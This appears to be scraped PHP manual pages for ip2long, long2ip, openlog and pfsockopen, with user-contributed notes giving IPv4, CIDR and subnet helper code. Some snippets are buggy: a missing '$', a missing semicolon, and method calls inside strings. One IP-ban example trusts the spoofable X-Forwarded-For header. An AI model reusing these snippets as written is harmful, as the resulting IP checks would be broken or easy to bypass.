$signed = substr($ip, 0, 3) > 127 ? ((ip2long($ip) & 0x7FFFFFFF) + 0x80000000) : ip2long($ip);

// will return a string version
$signed2 = sprintf('%u', ip2long($ip));

var_dump($signed, $signed2, long2ip($signed), long2ip($signed2));

?>

P.S.: If you're storing IPs in MySQL, there is NO POINT in converting to these unsigned values to place in an INT UNSIGNED column. Just use an INT SIGNED column, and directly use the result from ip2long. The only reason you should really need to force your ip2long result into its unsigned version is if you need to compare them with another source that uses unsigned (ie: some IP database lookup utils use unsigned).
sealbreaker at email dot com 03-Nov-2007 12:47
As a note : if you are using (PHP 4, PHP 5) and are looking to get the integer value of an IP address, i have found that the following works flawlessly for converting to and from IPv4 and it's integer equivalent. I must give credit elsewhere for this portion of the code (ip2long($ip) & 0x7FFFFFFF) + 0x80000000). I looked but was unable to find the comment where it was included.

$ip = "127.0.0.0"; // as an example

$integer_ip = (substr($ip, 0, 3) > 127) ? ((ip2long($ip) & 0x7FFFFFFF) + 0x80000000) : ip2long($ip);

echo $integer_ip; // integer value of IP address
echo long2ip($integer_ip); // convert to an IPv4 formatted address
-----------------------
Results are as follows:
-----------------------
2130706432
127.0.0.0
-----------------------
255.255.255.255 (converts to) 4294967295 (and back to) 255.255.255.255
209.65.0.0 (converts to) 3510697984 (and back to) 209.65.0.0
12.0.0.0 (converts to) 201326592 (and back to) 12.0.0.0
1.0.0.0 (converts to) 16777216 (and back to) 1.0.0.0
ir on ir id is at gm ai ld ot co m 20-Oct-2007 11:54
Keep in mind that storing IP addresses inside of your database as integers (rather than 15 character strings in decimal format, or 8 character strings in hex format) is hundreds of times faster.

Take the typical case of a MySQL database doing a search for an IP address on thousands (or millions!) of rows; you're either doing a string compare for each entry, or an integer equation. If you do your indexes correctly, your lookups should be literally 100x faster using an INT rather than a VARCHAR.

Also note that an integer doesn't need to be escaped when passed to a database. :)
andrew dot minerd at sellingsource dot com 20-Jul-2007 05:15
A somewhat more efficient alternative to convert the signed integer return by ip2long:

$float = ((ip2long($ip) & 0x7FFFFFFF) + 0x80000000);
one tiger one at gee mail dot comm 02-Apr-2007 07:49
I wrote a small function to validate a netmask (We have a form where the netmask of a given server is entered in, and I wanted to make sure it was valid). Hope this is useful.

<?php
// Netmask Validator //
function checkNetmask($ip) {
 if (!ip2long($ip)) {
  return false;
 } elseif(strlen(decbin(ip2long($ip))) != 32 && ip2long($ip) != 0) {
  return false;
 } elseif(ereg('01',decbin(ip2long($ip))) || !ereg('0',decbin(ip2long($ip)))) {
  return false;
 } else {
  return true;
 }
}
?>
laacz at php dot net 16-Feb-2007 01:06
Just to save you some time.

Beware that octets in IP address are being treated as numbers. So, '10.0.0.11' is not equal to '10.0.0.011'. '011' is octal number (base 8), so it converts to '9'. You can even go further and see that '10.0.0.0xa' also works (equals to '10.0.0.16').

This is not PHP issue, though.
samb057 at gmail dot com 26-Dec-2006 12:37
Convert an ipv6 address to an base 10 integer

<?php
function ip2long6($ip)
    {
        if (substr_count($ip, '::'))
            {
                $ip = str_replace('::', str_repeat(':0000', 8 - substr_count($ip, ':')) . ':', $ip) ;
            }

        $ip = explode(':', $ip) ;

        $r_ip = '' ;
        foreach ($ip as $v)
            {
                $r_ip .= str_pad(base_convert($v, 16, 2), 16, 0, STR_PAD_LEFT) ;
            }

        return base_convert($r_ip, 2, 10) ;
    }
?>
samb057 at gmail dot com 26-Dec-2006 12:20
Here's a simple IP address match checking function.

It takes 3 arguments: ip address to check (after ip2long), ip address to check against (after ip2long), and mask to check against (integer 0-32).

Just make sure you perform ip2long on the ip addresses before inputting them to the function.

<?php
function match_ip($check_ip, $match_ip, $match_mask = 32)
    {
        for ($i = 0 ; $i < $match_mask ; $i++)
            {
                $n = pow(2, 31 - $i) ;
                if (($n & $check_ip) != ($n & $match_ip))
                    {
                        return FALSE ;
                    }
            }

        return TRUE ;
    }
?>

I've been looking for a function like this for a while, i hope it helps someone.
Ian B 24-Dec-2006 04:22
NOTE: ip2long() should NOT be used for CIDR calculation.
Instead, you should use something like the following:

<?php
        /* get the base and the bits from the ban in the database */
        list($base, $bits) = explode('/', $CIDR);

        /* now split it up into it's classes */
        list($a, $b, $c, $d) = explode('.', $base);

        /* now do some bit shfiting/switching to convert to ints */
        $i = ($a << 24) + ($b << 16) + ($c << 8) + $d;
        $mask = $bits == 0 ? 0 : (~0 << (32 - $bits));

        /* here's our lowest int */
        $low = $i & $mask;

        /* here's our highest int */
        $high = $i | (~$mask & 0xFFFFFFFF);

        /* now split the ip were checking against up into classes */
        list($a, $b, $c, $d) = explode('.', $iptocheck);

        /* now convert the ip we're checking against to an int */
        $check = ($a << 24) + ($b << 16) + ($c << 8) + $d;

        /* if the ip is within the range, including
      highest/lowest values, then it's witin the CIDR range */
        if ($check >= $low && $check <= $high)
            return 1;
       else
            return 0;
?>

This means that you should check to see if the IP
address is of the correct format each time.
jgwright 25-Oct-2006 12:13
Here is a modified version of the code posted by legetz81 (AT) yahoo (dot) com. It handles the shorter, and more common, notation: "189.128/11".

<?php

$ip_addr_cidr = "192.168.37.215/27";
cidr($ip_addr_cidr);

function cidr($ip_addr_cidr) {

$ip_arr = explode('/', $ip_addr_cidr);

$dotcount = substr_count($ip_arr[0], ".");
$padding = str_repeat(".0", 3 - $dotcount);
$ip_arr[0].=$padding;

$bin = '';
for($i=1;$i<=32;$i++) {
   $bin .= $ip_arr[1] >= $i ? '1' : '0';
}
$ip_arr[1] = bindec($bin);

$ip = ip2long($ip_arr[0]);
$nm = ip2long($ip_arr[1]);
$nw = ($ip & $nm);
$bc = $nw | (~$nm);

echo "Number of Hosts:    " . ($bc - $nw - 1) . "\n";
echo "Host Range:        " . long2ip($nw + 1) . " -> " . long2ip($bc - 1)  . "\n";

/*
This will produce:
Number of Hosts:    30
Host Range:        192.168.37.193 -> 192.168.37.222
*/

}

?>
dh06 at biztechwiz dot com 24-Oct-2006 09:59
I made one tiny change to Stephane's routine below when I had problems with spaces in an IP range.  I moved the trim function before the ip2long call.

Thanks Stephane!

Dirk.

<?php
function netMatch($network, $ip) {

   $network=trim($network);
   $ip = trim($ip);

   $d = strpos($network,"-");
   if ($d===false) {
       $ip_arr = explode('/', $network);

       if (!preg_match("@\d*\.\d*\.\d*\.\d*@",$ip_arr[0],$matches)){
           $ip_arr[0].=".0";    // Alternate form 194.1.4/24
       }

       $network_long = ip2long($ip_arr[0]);
       $x = ip2long($ip_arr[1]);

       $mask = long2ip($x) == $ip_arr[1] ? $x : (0xffffffff << (32 - $ip_arr[1]));
       $ip_long = ip2long($ip);

       return ($ip_long & $mask) == ($network_long & $mask);
   }
   else {
       $from = ip2long(trim(substr($network,0,$d)));
       $to = ip2long(trim(substr($network,$d+1)));

       $ip = ip2long($ip);
       return ($ip>=$from and $ip<=$to);
   }
}
?>
stephane at deluca dot biz 01-Oct-2006 01:40
I propose a new function to match an IP against a network.
You can define the network in two different manner, most suited for handling data grabed from WHOIS records:
- 202.1.192.0-202.1.192.255: a range of IPs
- 200.36.161.0/24: a range of IP by using net masking
- 200.36.161/24: a shorten syntax similar to the above.

Sdl

<?php
function netMatch($network, $ip) {

    $network=trim($network);
    $ip = trim($ip);

    $d = strpos($network,"-");
    if ($d===false) {
        $ip_arr = explode('/', $network);

        if (!preg_match("@\d*\.\d*\.\d*\.\d*@",$ip_arr[0],$matches)){
            $ip_arr[0].=".0";    // Alternate form 194.1.4/24
        }

        $network_long = ip2long($ip_arr[0]);
        $x = ip2long($ip_arr[1]);

        $mask = long2ip($x) == $ip_arr[1] ? $x : (0xffffffff << (32 - $ip_arr[1]));
        $ip_long = ip2long($ip);

        return ($ip_long & $mask) == ($network_long & $mask);
    }
    else {
        $from = trim(ip2long(substr($network,0,$d)));
        $to = trim(ip2long(substr($network,$d+1)));

        $ip = ip2long($ip);
        return ($ip>=$from and $ip<=$to);
    }
}
?>
legetz81 (AT) yahoo (dot) com 30-Mar-2006 06:15
Here is a script that will calculate host range and number of hosts with a given ip address CIDR notation (modified code which was posted by phl AT cyways.com):

<?php
$ip_addr_cidr = "192.168.37.215/27";
$ip_arr = explode('/', $ip_addr_cidr);

$bin = '';
for($i=1;$i<=32;$i++) {
    $bin .= $ip_arr[1] >= $i ? '1' : '0';
}
$ip_arr[1] = bindec($bin);

$ip = ip2long($ip_arr[0]);
$nm = ip2long($ip_arr[1]);
$nw = ($ip & $nm);
$bc = $nw | (~$nm);

echo "Number of Hosts:    " . ($bc - $nw - 1) . "\n";
echo "Host Range:         " . long2ip($nw + 1) . " -> " . long2ip($bc - 1)  . "\n";
?>

This will produce:
Number of Hosts:    30
Host Range:         192.168.37.193 -> 192.168.37.222
01-Sep-2005 12:47
<?php
# m.ozarek
#
# Check if given mask is correct. You can check the short format mask
# like 8,16,24 or long format like 255.255.255.0
#

function isIpMask($mask){

    $format = '';
    if(preg_match("/[0-9]++\.[0-9]++\.[0-9]++\.[0-9]++/",$mask)){
        $format = "long";
    }else{
        if($mask<=30){
            $format = "short";
        }else{
            return false;
        }
    }
    switch($format){
        case long;
            $mask = decbin(ip2long($mask));
        break;
        case short:
            $tmp = $mask;
            for($i=0; $i < $mask ;$i++){
                $tmp.= 1;
            }
            for($j=0; $j < (32 - $mask);$j++){
                $tmp.= 0;
            }
            $mask = $tmp;
        break;
    }
    if(strlen($mask) <= 32){
        for($i=0;$i<=32 ;$i++){
            $bit = substr($mask,$i,1);
            if(($bit - substr($mask,$i+1,1)) < 0){
                return false;
            }
        }
    }
    return true;
}
# EXAMPLE
# isIpMask("255.255.255.0") -> return true
# isIpMask("24") -> return true
# isIpMask("5.5.5.5") -> return false
?>

[EDIT BY danbrown AT php DOT net:  Contains a fix provided by (greg AT netops DOT gvtc DOT com) on 19-Dec-2005.]
ken at expitrans dot com 31-Aug-2005 03:31
Below is a merged form of all various notes, and a better (and correct) network matching function.

<?php

function net_match($network, $ip) {
      // determines if a network in the form of 192.168.17.1/16 or
      // 127.0.0.1/255.255.255.255 or 10.0.0.1 matches a given ip
      $ip_arr = explode('/', $network);
      $network_long = ip2long($ip_arr[0]);

      $x = ip2long($ip_arr[1]);
      $mask =  long2ip($x) == $ip_arr[1] ? $x : 0xffffffff << (32 - $ip_arr[1]);
      $ip_long = ip2long($ip);

      // echo ">".$ip_arr[1]."> ".decbin($mask)."\n";
      return ($ip_long & $mask) == ($network_long & $mask);
}

echo net_match('192.168.17.1/16', '192.168.15.1')."\n"; // returns true
echo net_match('127.0.0.1/255.255.255.255', '127.0.0.2')."\n"; // returns false
echo net_match('10.0.0.1', '10.0.0.1')."\n"; // returns true

?>
tristram at ccteam dot ru 26-Jul-2005 06:33
<?php
if (!function_exists("ip2long"))
{
function ip2long($ip)
{
 $ip = explode(".",$ip);
 if (!is_numeric(join(NULL,$ip)) or count($ip) != 4) {return false;}
 else {return $ip[3]+256*$ip[2]+256*256*$ip[1]+256*256*256*$ip[0];}
}
}
?>
cam at wecreate dot com 20-Jul-2005 09:37
A simple function to compare two IP addresses against a netmask. Useful if you're locking down a web app with an IP address, but can't force the IPs to be exactly the same.

<?php
function ipcompare ($ip1, $ip2, $mask) {
    $masked1 = ip2long($ip1) & ip2long($mask); // bitwise AND of $ip1 with the mask
    $masked2 = ip2long($ip2) & ip2long($mask); // bitwise AND of $ip2 with the mask
      if ($masked1 == $masked2) return true;
      else return false;
}
?>

Examples:

<?php
  ipcompare("192.168.1.63","192.168.1.65","255.255.255.0") // true
  ipcompare("192.168.1.63","192.168.1.65","255.255.255.192") // false
?>
Paragina Silviu 12-Jul-2005 08:41
Note: ip2long and long2ip do not function as the c linux functions inet_addr and inet_ntoa. They store the long in reverse byte order (little endian vs big endian i guess).
For example you send 10.0.0.1 to inet_ntoa you take the long from the result and you pass it to long2ip  you get 1.0.0.10. You won't run into this issue unless you use a database both from c linux programs and php scripts.

My first idea was to reverse the long, but unfortunatley the long was stored as unsigned and i got a lot of problems doing calculations with it (some operations would work well others not; probably it was stored as float i do not know for sure...)

So my solution was

<?php
function str_rev_ip($str)
{
    $ar=explode(".",$str);
    return "$ar[3].$ar[2].$ar[1].$ar[0]";
}
?>

and i take the result from inet_ntoa and parse it as str_rev_ip(long2ip($var))
tomlove at gmail dot com 03-Jul-2005 04:09
A quick and efficient way to compare two IPs with a given mask:

<?php
function ipmatch ($ip1, $ip2, $mask) {
  if ((ip2long($ip1) & ~(pow(2, 32-$mask)-1)) == (ip2long($ip2) & ~(pow(2, 32-$mask)-1))) return true;
  else return false;
}
?>

Here's an application of it that selects the best IP given the choice of a (possibly private or invalid) forwarded address or a (possibly proxy) apparent address:

<?php
$a = $_SERVER['HTTP_X_FORWARDED_FOR'];
if ($a == '' || ipmatch($a, "10.0.0.0", 8) || ipmatch($a, "172.16.0.0", 12) || ipmatch($a, "192.168.0.0", 16) || ipmatch($a, "255.255.255.255", 32)) $ip = $_SERVER['REMOTE_ADDR'];
else $ip = $a;
?>

Or use it to ban people:

<?php
$banned_ip = '135.23.12.3';
if (ipmatch($ip, $banned_ip, 32)) die('BANNED!');
?>

The bitwise comparison the function uses can be done in SQL to do ban matches right in your database.
lawpoop at gmail dot com 06-Apr-2005 03:29
Here is a function that tells you if an ip address is in a CIDR range. However, the CIDR argument can be an array of CIDRs. This was created from other matchCIDR functions in the user notes.

<?php
function matchCIDR($addr, $cidr) {

        // $addr should be an ip address in the format '0.0.0.0'
        // $cidr should be a string in the format '100/8'
        //      or an array where each element is in the above format

        $output = false;

        if ( is_array($cidr) ) {

                foreach ( $cidr as $cidrlet ) {
                        if ( matchCIDR( $addr, $cidrlet) ) {
                                $output = true;
                        }
                }

        } else {

                list($ip, $mask) = explode('/', $cidr);

                $mask = 0xffffffff << (32 - $mask);

                $output = ((ip2long($addr) & $mask) == (ip2long($ip) & $mask));

        }

        return $output;
}
?>
mailNO at SPAMdapuzz dot com 13-Feb-2005 11:05
a little function to make a range in this form:
0.0.0.1/0.0.0.255          ==> 0.0.0.1/255
0.0.0.1/255.255.255.255    ==> 0.0.0.1/255.255.255.255

<?php
$primo = "62.4.32.0";
$ultimo = "62.4.63.255";
echo do_range($primo,$ultimo); //Example

function do_range($primo,$ultimo) {
list($a,$b,$c,$d)=explode(".",$primo);
list($e,$f,$g,$h)=explode(".",$ultimo);
if ($a !== $e) return "$primo/$ultimo";
else {
    if ($b !== $f) return "$primo/$f.$g.$h";
    else{
        if ($c !== $g) return "$primo/$g.$h";
        else {
            if ($d !== $h) return "$primo/$h";
            else return -1; //error
            }
        }
    }
}
?>
Please write me if you have any suggestion
frank at vista dot com 26-Jan-2005 05:43
remixing mediator's function further:
<?php
function matchCIDR($addr, $cidr) {
  list($ip, $mask) = explode('/', $cidr);
  return (ip2long($addr) >> (32 - $mask) == ip2long($ip) >> (32 - mask));
}
?>
01-Dec-2004 06:06
I re-wrote the functions from jbothe at hotmail dot com as a little exercise in OO and added a couple of extra functions.

<?php

 //--------------
// IPv4 class
class ipv4
{
  var $address;
  var $netbits;

   //--------------
  // Create new class
  function ipv4($address,$netbits)
  {
    $this->address = $address;
    $this->netbits = $netbits;
  }

   //--------------
  // Return the IP address
  function address() { return ($this->address); }

   //--------------
  // Return the netbits
  function netbits() { return ($this->netbits); }

   //--------------
  // Return the netmask
  function netmask()
  {
    return (long2ip(ip2long("255.255.255.255")
           << (32-$this->netbits)));
  }

   //--------------
  // Return the network that the address sits in
  function network()
  {
    return (long2ip((ip2long($this->address))
           & (ip2long($this->netmask()))));
  }

   //--------------
  // Return the broadcast that the address sits in
  function broadcast()
  {
    return (long2ip(ip2long($this->network())
           | (~(ip2long($this->netmask())))));
  }

   //--------------
  // Return the inverse mask of the netmask
  function inverse()
  {
    return (long2ip(~(ip2long("255.255.255.255")
           << (32-$this->netbits))));
  }

}

  $ip = new ipv4("192.168.2.1",24);
  print "Address: $ip->address()\n";
  print "Netbits: $ip->netbits()\n";
  print "Netmask: $ip->netmask()\n";
  print "Inverse: $ip->inverse()\n";
  print "Network: $ip->network()\n";
  print "Broadcast: $ip->broadcast()\n";
?>
daevid at daevid dot com 11-Nov-2004 07:30
This seems obvious in hindsight, but since nobody else posted it, it had me and two others scratching our heads. Thought I'd save someone else the trouble...

In mySQL, you can use the INET_ATON() function, but to save queries, you could use this function. However, the catch is that PHP returns negative values, so you have to use it like this:

$LongIP = sprintf('%u', ip2long($dotted_name));
DivineHawk 30-Oct-2004 12:38
For PHP5 I had to replace:
$mask_long= pow(2,32)-pow(2,(32-$ip_arr[1]));

-with-

$mask_long = 0xffffffff << (32 - $ip_arr[1]);

in dzver's IP_Match Function below.
mediator 02-Jun-2004 03:50
Another function for matching $_SERVER['REMOTE_ADDR'] against CIDR.
<?php
function matchCIDR($addr, $cidr) {
    list($ip, $mask) = explode('/', $cidr);
    $mask = 0xffffffff << (32 - $mask);
    return ((ip2long($addr) & $mask) == (ip2long($ip) & $mask));
}
?>
dzver 15-Apr-2004 05:12
Mix of rbsmith's function and pasted above url:

<?php
// returns 1 if $ip is part of $network

function IP_Match($network, $ip) {
    $ip_arr = explode("/",$network);
    $network_long=ip2long($ip_arr[0]);

    $mask_long= pow(2,32)-pow(2,(32-$ip_arr[1]));
    $ip_long=ip2long($ip);

    if (($ip_long & $mask_long) == $network_long) {
        return 1;
    } else {
        return 0;
    }
}

// usage

$network="200.100.50.0/23";
$ip="200.100.51.55";
$ip2="200.100.52.2";

echo IP_Match($network, $ip); //prints 1
echo IP_Match($network, $ip2); //prints 0
?>
jbothe at hotmail dot com 26-Nov-2003 11:01
The following script will print out subnet statistics when you supply the IP Address and Subnet Mask. Usefull to calculate the broadcast address and network address as well as the number of hosts and the range of IP addresses in the subnet.

#!/usr/local/bin/php
<?php
   $ip_addr = "172.14.1.57";
   $subnet_mask = "255.255.255.0";

   $ip = ip2long($ip_addr);
   $nm = ip2long($subnet_mask);
   $nw = ($ip & $nm);
   $bc = $nw | (~$nm);

   echo "IP Address:         " . long2ip($ip) . "\n";
   echo "Subnet Mask:        " . long2ip($nm) . "\n";
   echo "Network Address:    " . long2ip($nw) . "\n";
   echo "Broadcast Address:  " . long2ip($bc) . "\n";
   echo "Number of Hosts:    " . ($bc - $nw - 1) . "\n";
   echo "Host Range:         " . long2ip($nw + 1) . " -> " . long2ip($bc - 1)  . "\n";
?>

Produces the output:

IP Address:         172.14.1.57
Subnet Mask:        255.255.255.0
Network Address:    172.14.1.0
Broadcast Address:  172.14.1.255
Number of Hosts:    254
Host Range:         172.14.1.1 -> 172.14.1.254
daevid at daevid dot com 13-Oct-2003 09:23
<?php
function CalculateIPRange($iprange)
{
    // Daevid Vincent [daevid@daevid.com] 10.13.03
    //  This function will return an array of either a negative error code
    //  or all possible IP addresses in the given range.
    //  format is NNN.NNN.NNN.NNN - NNN.NNN.NNN.NNN  (spaces are okay)

    $temp = preg_split("/-/",$iprange, -1, PREG_SPLIT_NO_EMPTY);
    $QRange1 = $temp[0];
    $QRange2 = $temp[1];

    if ($QRange2 == "") return array($QRange1); //special case, they didn't put a second quad parameter

    //basic error handling to see if it is generally a valid IP in the form N.N.N.N
    if ( preg_match("/\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}/",$QRange1) != 1 ) return array(-1);
    if ( preg_match("/\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}/",$QRange2) != 1 ) return array(-1);

    $quad1 = explode(".",$QRange1);
    $quad2 = explode(".",$QRange2);

    reset ($quad1);
    while (list ($key, $val) = each ($quad1))
    {
         $quad1[$key] = intval($val);
         if ($quad1[$key] < 0 || $quad1[$key] > 255) return array(-2);
    }
    reset ($quad2);
    while (list ($key, $val) = each ($quad2))
    {
         $quad2[$key] = intval($val);
         if ($quad2[$key] < 0 || $quad2[$key] > 255) return array(-2);
    }

    $startIP_long = sprintf("%u",ip2long($QRange1));
    $endIP_long = sprintf("%u",ip2long($QRange2));
    $difference = $endIP_long - $startIP_long;
    //echo "startIP_long = ".$startIP_long." and endIP_long = ".$endIP_long." difference = ".$difference."<BR>";

    $ip = array();
    $k = 0;
    for ($i = $startIP_long; $i <= $endIP_long; $i++)
    {
        $temp = long2ip($i);

        //this is a total hack. there must be a better way.
        $thisQuad = explode(".",$temp);
        if ($thisQuad[3] > 0 && $thisQuad[3] < 255)
            $ip[$k++] = $temp;
    }

    return $ip;
} //CalculateIPRange()
?>
anderson at piq dot com dot br 06-Aug-2003 10:02
If you want to get the interface of an IP, based on the local route table, use this.

<?php
function GetIfaceforIP($user_ip)
{
    $route = "/bin/netstat -rn";

    exec($route, $aoutput);
    foreach($aoutput as $key => $line)
    {
        if($key > 1)
        {
            $line = ereg_replace("[[:space:]]+",",",$line);
            list($network, $gateway, $mask, $flags, $mss, $window, $irtt, $iface) = explode(",", $line)
            if((ip2long($user_ip) & ip2long($mask)) == ip2long($network))
            {
                return $iface;
            }
        }
    }
}
?>
rbsmith 01-Jun-2003 06:29
Yet another word on IP_Match here is the complete functions
as described by php-net at dreams4net dot com on 08-Aug-2002 09:31

<?php
# determine if an IP address is within
# a particular network with mask
function IP_Match($network, $mask, $ip) {
    $ip_long=ip2long($ip);
    $network_long=ip2long($network);
    $mask_long=ip2long($mask);

    if (($ip_long & $mask_long) == $network_long) {
        return true;
    } else {
        return false;
    }
}
?>

Thank you, it is simple, fast, and best of all works!
phl AT cyways.com 22-Oct-2001 04:36
Here's a function I whipped up today to deduce some important network information given a hostname (or its IP address) and its subnet mask:

<?php
function find_net($host,$mask) {
   ### Function to determine network characteristics
   ### $host = IP address or hostname of target host (string)
   ### $mask = Subnet mask of host in dotted decimal (string)
   ### returns array with
   ###   "cidr"      => host and mask in CIDR notation
   ###   "network"   => network address
   ###   "broadcast" => broadcast address
   ###
   ### Example: find_net("192.168.37.215","255.255.255.224")
   ### returns:
   ###    "cidr"      => 192.168.37.215/27
   ###    "network"   => 192.168.37.192
   ###    "broadcast" => 192.168.37.223
   ###

   $bits=strpos(decbin(ip2long($mask)),"0");
   $net["cidr"]=gethostbyname($host)."/".$bits;

   $net["network"]=long2ip(bindec(decbin(ip2long(gethostbyname($host))) & decbin(ip2long($mask))));

   $binhost=str_pad(decbin(ip2long(gethostbyname($host))),32,"0",STR_PAD_LEFT);
   $binmask=str_pad(decbin(ip2long($mask)),32,"0",STR_PAD_LEFT);
   for ($i=0; $i<32; $i++) {
      if (substr($binhost,$i,1)=="1" || substr($binmask,$i,1)=="0") {
         $broadcast.="1";
      }  else {
         $broadcast.="0";
      }
   }
   $net["broadcast"]=long2ip(bindec($broadcast));

   return $net;
}
?>
inet_pton
long2ip
Network Functions


Converts an (IPv4) Internet network address into a string in Internet standard dotted format

ip2long
openlog
Network Functions
PHP Manual

long2ip

(PHP 4, PHP 5)

long2ip — Converts an (IPv4) Internet network address into a string in Internet standard dotted format

Description

string long2ip ( string $proper_address )

The function long2ip() generates an Internet address in dotted format (i.e.: aaa.bbb.ccc.ddd) from the proper address representation.

Parameters

proper_address

A proper address representation.

Return Values

Returns the Internet IP address as a string.

See Also

  • ip2long() - Converts a string containing an (IPv4) Internet Protocol dotted address into a proper address

User Contributed Notes

klawd at kamundo dot de 25-Jan-2012 10:34
Use these two functions to convert from and to numbers compatible to MySQLs INET_ATON and INET_NTOA
<?php
    function convertIpToString($ip)
    {
        $long = 4294967295 - ($ip - 1);
        return long2ip(-$long);
    }
    function convertIpToLong($ip)
    {
        return sprintf("%u", ip2long($ip));
    }
Anonymous 05-Aug-2011 09:38
If you're running a 32 bit machine you can get wrong IPs. To prevent from this just cast to float e.g.

<?php
long2Ip32bit($ip){
   return long2ip((float)$ip);
}
?>
php dot net at davidstockton dot com 03-Sep-2008 10:28
Beware when processing values that are invalid, you may get values that are different based on the OS.  For instance:

$ip = long2ip(pow(2,32)+1024);

On windows you get 255.255.255.255.  On linux it's 0.0.4.0.

So it seems it would be important to make sure the long you're converting is in the correct range.
Gabriel Malca 17-Mar-2006 05:01
If the function doesn't exist:

<?
    if (!function_exists("long2ip")) {
        function long2ip($long) {
            // Valid range: 0.0.0.0 -> 255.255.255.255
            if ($long < 0 || $long > 4294967295) return false;
            $ip = "";
            for ($i=3;$i>=0;$i--) {
                $ip .= (int)($long / pow(256,$i));
                $long -= (int)($long / pow(256,$i))*pow(256,$i);
                if ($i>0) $ip .= ".";
            }
            return $ip;
        }
    }
?>
randomize at randomizer dot com 27-Jan-2006 09:51
Random ip address! (4294967295 is 255.255.255.255)

long2ip(rand(0, "4294967295"))
flobee 13-Feb-2005 02:50
when importing ip-ranges to a mysql database using an INT(10) field - NOTE: that you will get problems when using intval() function!

copied from "cleong" : 02-Oct-2001 02:21
intval() handles overflow differently depending on the type of the argument.
<?php
// intval('10000000000') = 2147483647
// intval(1e10) = 1410065408
?>
Tom Crosley 16-Feb-2003 01:13
I wanted to be able to pass an IP address in a URL always as an unsigned int.  I then converted it back as shown below:

$ip_addr = "192.168.100.25";  // example IP address that converts to neg #

$s32int = ip2long($ip_addr);

$us32str = sprintf("%u",$s32int);               // convert to unsigned string

// display orig IP address, signed 32 bit version, unsigned 32 bit ver,
// finally converted back to IP addr

printf("%s ,%d, %s, %s", $ip_addr, $s32int, $us32str,
         long2ip(-(4294967296-$us32str)));

// tested on Linux/Apache PHP 4.1.2
ip2long
openlog
Network Functions


Open connection to system logger

long2ip
pfsockopen
Network Functions
PHP Manual

openlog

(PHP 4, PHP 5)

openlog — Open connection to system logger

Description

bool openlog ( string $ident , int $option , int $facility )

openlog() opens a connection to the system logger for a program.

The use of openlog() is optional. It will automatically be called by syslog() if necessary, in which case ident will default to FALSE.

Parameters

ident

The string ident is added to each message.

option

The option argument is used to indicate what logging options will be used when generating a log message.

openlog() Options
Constant | Description
LOG_CONS | if there is an error while sending data to the system logger, write directly to the system console
LOG_NDELAY | open the connection to the logger immediately
LOG_ODELAY | (default) delay opening the connection until the first message is logged
LOG_PERROR | print log message also to standard error
LOG_PID | include PID with each message
You can use one or more of this options. When using multiple options you need to OR them, i.e. to open the connection immediately, write to the console and include the PID in each message, you will use: LOG_CONS | LOG_NDELAY | LOG_PID

facility

The facility argument is used to specify what type of program is logging the message. This allows you to specify (in your machine's syslog configuration) how messages coming from different facilities will be handled.

openlog() Facilities
Constant | Description
LOG_AUTH | security/authorization messages (use LOG_AUTHPRIV instead in systems where that constant is defined)
LOG_AUTHPRIV | security/authorization messages (private)
LOG_CRON | clock daemon (cron and at)
LOG_DAEMON | other system daemons
LOG_KERN | kernel messages
LOG_LOCAL0 ... LOG_LOCAL7 | reserved for local use, these are not available in Windows
LOG_LPR | line printer subsystem
LOG_MAIL | mail subsystem
LOG_NEWS | USENET news subsystem
LOG_SYSLOG | messages generated internally by syslogd
LOG_USER | generic user-level messages
LOG_UUCP | UUCP subsystem

Note:

LOG_USER is the only valid log type under Windows operating systems

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • syslog() - Generate a system log message
  • closelog() - Close connection to system logger

User Contributed Notes

tlk at example dot com 08-Jun-2010 06:27
This function is not threadsafe.

You may want to use another approach:

<?php
$ident = 'subsystem1';
syslog(LOG_NOTICE | LOG_LOCAL1, $ident.' '.$message);
?>
long2ip
pfsockopen
Network Functions


Open persistent Internet or Unix domain socket connection

openlog
setcookie
Network Functions
PHP Manual

pfsockopen

(PHP 4, PHP 5)

pfsockopen — Open persistent Internet or Unix domain socket connection

Description

resource pfsockopen ( string $hostname [, int $port = -1 [, int &$errno [, string &$errstr [, float $timeout = ini_get("default_socket_timeout") ]]]] )

This function behaves exactly as fsockopen() with the difference that the connection is not closed after the script finishes. It is the persistent version of fsockopen().

Parameters

For parameter information, see the fsockopen() documentation.

See Also

  • fsockopen() - Open Internet or Unix domain socket connection

User Contributed Notes

k dot andris at gmail dot com 11-Dec-2008 10:22
To see if it's really a new connection, or a reused one, you can use ftell() - and see if ther's been any traffic on the connection. If it's more than 0, then it's a reused connection.
ludvig dot ericson at gmail dot com 27-Jul-2007 07:38
Confusion arises as to when PHP starts a new connection using all the
"persistent" versions of any function, and this depends entirely on how you
run your PHP.

In real CGI mode, that is, one process per script, persistent functions do the
exact same as their "temporary" equivalents. If you have a threaded Apache
MPM, this persistence will open a connection per thread, but not immediately.
Think of it as a single PHP instance for each thread.

If you run prefork, the MPM that forks the Apache server into several
accept()ing subprocesses, you'll have one PHP instance per process.

This isn't always true as I might've missed some gotchas, but in general, do
know that a persistent can only try to be persistent.

As for grey at greywyvern dot moc: A cronjob would be a lot better suited
for this, and have it periodically update the index rather than request ~200
pages each time somebody searches, at least from what you describe it as.
bimal dot das at maxartists dot com 07-Jun-2006 11:22
Here is how to POST a form action to a SSL server's cgi and retrieve output with pfsockopen

<?php

$host = gethostbyaddr($_SERVER['REMOTE_ADDR']);

# working vars
$host = 'www.example.com';
$service_uri = '/cgi-bin/processACT';
$vars ='code=22&act=TEST';

# compose HTTP request header
$header = "Host: $host\r\n";
$header .= "User-Agent: PHP Script\r\n";
$header .= "Content-Type: application/x-www-form-urlencoded\r\n";
$header .= "Content-Length: ".strlen($vars)."\r\n";
$header .= "Connection: close\r\n\r\n";

$fp = pfsockopen("ssl://".$host, 443, $errno, $errstr);
if (!$fp) {
   echo "$errstr ($errno)<br/>\n";
   echo $fp;
} else {
    fputs($fp, "POST $service_uri  HTTP/1.1\r\n");
    fputs($fp, $header.$vars);
    fwrite($fp, $out);
    while (!feof($fp)) {
        echo fgets($fp, 128);
    }
    fclose($fp);
}

?>
grey at greywyvern dot moc 06-Aug-2004 09:06
pfsockopen is useful for having scripts executing others in the background.

I'm writing an intra-site search engine with spidering capabilities.  To spider a ~200 page site and index all the text takes about 60 seconds.  Because I don't want the user waiting 60s for the script to finish and thinking it's timing out, I use pfsockopen to have the server open an HTTP connection with itself to execute the script in the background.  Once the spidering is done, the connection is closed without capturing the HTTP response.  The output isn't important, the spidering is!

